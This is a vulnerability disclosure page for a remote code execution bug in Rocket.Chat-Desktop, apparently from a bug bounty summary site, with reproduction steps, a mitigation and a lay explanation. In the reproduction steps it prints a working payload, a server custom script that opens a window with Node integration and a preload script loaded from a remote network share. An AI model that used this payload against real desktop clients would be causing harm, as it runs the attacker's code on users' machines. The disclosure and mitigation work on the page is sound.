Remote Code Execution in Rocket.Chat-Desktop
Rocket.Chat-Desktop allowed a server administrator to inject a custom script that opened a new window with Node integration enabled and a preload script loaded from a remote network share. This let the attacker run arbitrary code on the victim's machine, as demonstrated by a command prompt appearing.
- Triaged in 17 hours
- Fixed in 2 months
- Disclosed after 3 months
Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script.
Releases Affected:
- Rocket.Chat-Desktop-Client: < v3.0.0-develop
Steps To Reproduce (by setting up a malicious server):
- Go to
Administration » Layout » Custom Scripts » Custom Script for Logged In Users - Insert the following script:
window.open('data:text/html,<h1>PWNED</h1>', '', ['nodeIntegration=true', 'preload=\\\\45.155.173.235\\data\\cmd.js'].join(',')) - Click
Save changes - Open Rocket.Chat-Desktop and connect to the server
- CMD.exe will pop up.
Suggested mitigation
const wrapWindowOpen = (defaultWindowOpen) => (href, frameName, features) => {
const settings = getSettings();
features = ''; // <- should fix it
if (settings && url.parse(href).host === settings.get('Jitsi_Domain')) {
features = [
features,
'nodeIntegration=true',
`preload=${ `${ remote.app.getAppPath() }/app/preload.js` }`,
].join(',');
}
return defaultWindowOpen.call(window, href, frameName, features);
};
Impact
Remote Code Execution in Rocket.Chat-Desktop
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the window-open wrapper passed attacker-controlled feature strings through to the new window, so nodeIntegration and a remote preload path could be set by the server.
What the attacker needed
Control of a Rocket.Chat server; victim connects the desktop app; victim can reach the remote share
How it was found
- Open the server administration custom scripts section for logged-in users.
- Insert a script that opens a data URL window with node integration and a preload script from a remote share.
- Save the changes.
- Open Rocket.Chat-Desktop and connect to that server.
- A command prompt window appears on the victim's machine.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The desktop app is built on a browser engine that can also run system-level code. A setting on the chat server let an administrator add a script that told the app to open a new window with that powerful mode switched on and to load extra code from a shared network folder. Because the app trusted those window options, the attacker's code ran on the user's computer.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.